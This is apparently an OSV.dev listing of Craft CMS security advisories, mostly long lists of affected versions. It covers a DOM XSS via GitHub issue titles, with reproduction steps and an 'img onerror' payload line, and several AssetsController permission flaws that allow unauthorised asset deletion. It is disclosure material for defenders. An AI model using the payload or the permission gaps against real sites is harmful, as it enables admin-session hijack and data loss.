            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.0-RC1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


            5.1.0


            5.1.1


            5.1.10


            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.18.0


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55790 GHSA-24x4-j6x9-rfw5 Jul 06, 2026

Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget

High

Network Low None

Summary

An attacker with only a GitHub account can plant a JavaScript payload in a craftcms/cms issue title. When a Craft admin uses the CraftSupport widget’s "Give feedback" screen and types a search term that returns the poisoned issue, the payload executes in the admin’s control panel session.

No control panel account or elevated privileges are required on the attacker’s side.

Preconditions

Attacker has a GitHub account (no control panel access needed).
Victim is an administrator, and you have the CraftSupport widget on the dashboard.
Victim uses the "Give feedback" screen and types a search term that returns the poisoned issue.

Root cause

CraftSupportWidget.js lines 382-392:

$('<a>', {
  href: this.getSearchResultUrl(results[i]),
  target: '_blank',
  html:
    '<span class="status ' +
    this.getSearchResultStatus(results[i]) +
    '"></span>' +
    this.getSearchResultText(results[i]),
})

FeedbackScreen.getSearchResultText (line 669-671) returns result.title verbatim from the GitHub API response. The jQuery html: option sets the element’s innerHTML, so a title containing <img src=x onerror=...> executes immediately on render.

The GitHub API returns issue titles as raw JSON strings with no HTML encoding. The widget makes this request directly from the browser, without a Craft proxy or any sanitization step.

HelpScreen (Stack Exchange) is not affected because the Stack Exchange API HTML-encodes titles before returning them.

Steps to reproduce

Plant (attacker, GitHub account only):

Open https://github.com/craftcms/cms/issues/new.
Set the title to a string combining a plausible search term and the payload, e.g.:

<img src=x onerror=alert(document.domain)> cannot upload files

Submit the issue.

Trigger (victim, Craft admin):

Open the Craft control panel dashboard.
Open the CraftSupport widget, click "Give feedback".
Type cannot upload files in the search box.
alert(document.domain) fires in the admin's session.

Impact

XSS in the admin control panel session. The payload has access to Craft.csrfTokenName and Craft.csrfTokenValue and can send same-origin action requests as the admin without any further interaction.

Mitigating factors

Victim must actively use the "Give feedback" search screen.
Attacker must predict or social-engineer a search term the admin will type, or use a broad term likely to match.
Widget is only available to admins.

Resources

https://github.com/craftcms/cms/commit/6bbb66038a268552180ca5c8eed9f46ea25a4417

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 406 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.16


          5.9.23

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-50282 GHSA-3w32-23wj-rxg3 Jul 02, 2026

Craft CMS Vulnerable to Unauthorized Deletion of Destination Folders During Forced Moves

High

Network Low Low None

We have identified an authorization issue in Craft CMS where a forced folder move can delete a conflicting destination folder without destination delete permission.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionMoveFolder() supports moving an asset folder into a destination parent folder. If a folder with the same name already exists at the destination, the action can be called with force=true to overwrite the destination.

The permission checks for this action allow:

deleteAssets:<sourceVolumeUid> for the folder being moved
createFolders:<destVolumeUid> for the destination parent folder
saveAssets:<destVolumeUid> for the destination parent folder

The action does not require deleteAssets on the destination volume or destination conflict folder. When force=true and a name conflict exists, the code deletes the destination folder to resolve the conflict.

$this->requireVolumePermissionByFolder('deleteAssets', $folderToMove);
$this->requireVolumePermissionByFolder('createFolders', $destinationFolder);
$this->requireVolumePermissionByFolder('saveAssets', $destinationFolder);

src/controllers/AssetsController.php:L751-L753

Indexed destination conflicts are deleted via the Assets service:

$assets->deleteFoldersByIds($existingFolder->id);

src/controllers/AssetsController.php:L798-L798

Unindexed destination conflicts are deleted directly in the volume filesystem:

$targetVolume->deleteDirectory(rtrim($destinationFolder->path, '/') . '/' . $folderToMove->name);

src/controllers/AssetsController.php:L815

Impact

A user who cannot delete assets in a destination volume can still delete a destination folder and its contents by triggering a forced move into a conflicting name. This can cause asset loss, broken references in entries and fields that point to deleted assets, and operational disruption.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50284 GHSA-7h62-6v23-v8fm Jul 02, 2026

Craft CMS: Missing peer-permission check in `AssetsController::actionDeleteFolder` allows deletion of other users' assets

High

Network Low Low None

Summary

AssetsController::actionDeleteFolder() only requires the deleteAssets:<volume-uid> permission for the target folder. It never enforces deletePeerAssets:<volume-uid>, even though Assets::deleteFoldersByIds() cascades deletion to every descendant folder and every asset inside, regardless of who uploaded them. A low-privilege user who has been granted folder-management rights on a shared volume can therefore destroy assets uploaded by other users (peer assets), bypassing the per-asset peer-permission check that the sibling actionDeleteAsset endpoint correctly applies.

This is the same bug class that was just fixed in actionMoveFolder as GHSA-3w32-23wj-rxg3 (commit 05c2042, Apr 23 2026); the fix added requireVolumePermissionByFolder('deletePeerAssets', …) and savePeerAssets checks to the move endpoint but did not propagate to the delete-folder endpoint.

Details

src/controllers/AssetsController.php:552-569:

public function actionDeleteFolder(): Response
{
    $this->requireAcceptsJson();
    $folderId = $this->request->getRequiredBodyParam('folderId');

    $assets = Craft::$app->getAssets();
    $folder = $assets->getFolderById($folderId);

    if (!$folder) {
        throw new BadRequestHttpException('The folder cannot be found');
    }

    // Check if it's possible to delete objects in the target volume.
    $this->requireVolumePermissionByFolder('deleteAssets', $folder); // <-- only checks deleteAssets
    $assets->deleteFoldersByIds($folderId);

    return $this->asSuccess();
}

requireVolumePermissionByFolder() (src/controllers/AssetsControllerTrait.php:75-88) only resolves to a single requirePermission('deleteAssets:<vol-uid>') call. The peer-equivalent helper (requirePeerVolumePermissionByAsset) is never invoked because there is no folder-level peer helper that iterates the folder's contents.

Assets::deleteFoldersByIds() (src/services/Assets.php:311-349) then enumerates the folder + every descendant folder, queries every asset under those IDs, and calls Craft::$app->getElements()->deleteElement($asset, true) directly:

$assetQuery = Asset::find()->folderId($allFolderIds);
$elementService = Craft::$app->getElements();

foreach (Db::each($assetQuery) as $asset) {
    $asset->keepFileOnDelete = !$deleteDir;
    $elementService->deleteElement($asset, true);
}

This bypasses Asset::canDelete() (src/elements/Asset.php:1515-1536):

public function canDelete(User $user): bool
{
    if ($this->isFolder) { return false; }
    if (parent::canDelete($user)) { return true; }
    $volume = $this->getVolume();
    if (Assets::isTempUploadFs($volume->getFs())) { return true; }

    if ($this->uploaderId !== $user->id) {
        return $user->can("deletePeerAssets:$volume->uid"); // <-- never reached on cascade delete
    }
    return $user->can("deleteAssets:$volume->uid");
}

Compare to actionDeleteAsset (src/controllers/AssetsController.php:579-613), which correctly does:

$this->requireVolumePermissionByAsset('deleteAssets', $asset);
$this->requirePeerVolumePermissionByAsset('deletePeerAssets', $asset);

The fix that landed in 05c2042 for actionMoveFolder (src/controllers/AssetsController.php:733-765) added both savePeerAssets and deletePeerAssets requireVolumePermissionByFolder checks to mirror the per-asset pattern, but the same hardening was not applied to actionDeleteFolder or actionRenameFolder (which also calls deleteFoldersByIds indirectly through later logic).

The asymmetry between the two endpoints demonstrates the missing check.

Impact

Integrity / availability of other users' assets on any volume where the attacker has deleteAssets but not deletePeerAssets: the attacker can permanently delete peer-owned files (and their parent folder structure) on the underlying filesystem, with no recovery via Craft's UI.
The Craft permission model explicitly distinguishes "delete your own assets" (deleteAssets) from "delete other users' assets" (deletePeerAssets) precisely so administrators can grant the former without the latter on shared volumes — this finding renders that distinction unenforceable for any user given folder-delete rights.
No information disclosure or remote code execution; impact is bounded to the affected volume's contents.
Does not require any non-default configuration: the affected endpoint is enabled by default and only requires that an administrator has split deleteAssets from deletePeerAssets (the documented, supported permission model).

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 404 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.15


          5.9.22

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50283 GHSA-qh45-9g5p-m2v4 Jul 02, 2026

Craft CMS: Unauthorized Deletion of Source Assets During File Replacement

Medium

Network Low Low None

We have identified an authorization issue in Craft CMS AssetsController::actionReplaceFile that can delete a source asset without source delete permission by supplying both assetId and sourceAssetId.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionReplaceFile() supports replacing a target asset file using another existing asset as the source. The action loads:

$assetToReplace from assetId
$sourceAsset from sourceAssetId

It then enforces replace permissions using ($assetToReplace ?: $sourceAsset). When both IDs are provided, this expression resolves to the target asset so no permission check is performed against the source asset volume.

$this->requireVolumePermissionByAsset('replaceFiles', $assetToReplace ?: $sourceAsset);
$this->requirePeerVolumePermissionByAsset('replacePeerFiles', $assetToReplace ?: $sourceAsset);

src/controllers/AssetsController.php:L433-L434

